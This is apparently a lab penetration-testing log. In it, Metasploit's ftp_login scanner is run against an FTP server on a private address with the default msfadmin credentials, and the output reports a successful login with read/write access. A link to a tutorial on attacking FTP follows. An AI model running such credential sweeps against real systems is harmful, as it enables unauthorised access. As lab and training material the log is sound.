msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(ftp_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(ftp_login) > set RPORT 2121
RPORT => 2121
msf auxiliary(ftp_login) > set RHOSTS 192.168.1.111
RHOSTS => 192.168.1.111
msf auxiliary(ftp_login) > run
[*] 192.168.1.111:2121 - Starting FTP login sweep
[*] Connecting to FTP server 192.168.1.111:2121...
[*] Connected to target FTP server.
[*] 192.168.1.111:2121 - FTP Banner: '220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.1.111]\x0d\x0a'
[*] 192.168.1.111:2121 FTP - Attempting FTP login for 'anonymous':'User@'
[*] 192.168.1.111:2121 FTP - Failed FTP login for 'anonymous':'User@'
[*] 192.168.1.111:2121 FTP - [1/1] - Attempting FTP login for 'msfadmin':'msfadmin'
[+] 192.168.1.111:2121 - Successful FTP login for 'msfadmin':'msfadmin'
[*] 192.168.1.111:2121 - User 'msfadmin' has READ/WRITE access
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
推荐:
http://pentestlab.wordpress.com/2012/03/01/attacking-the-ftp-service/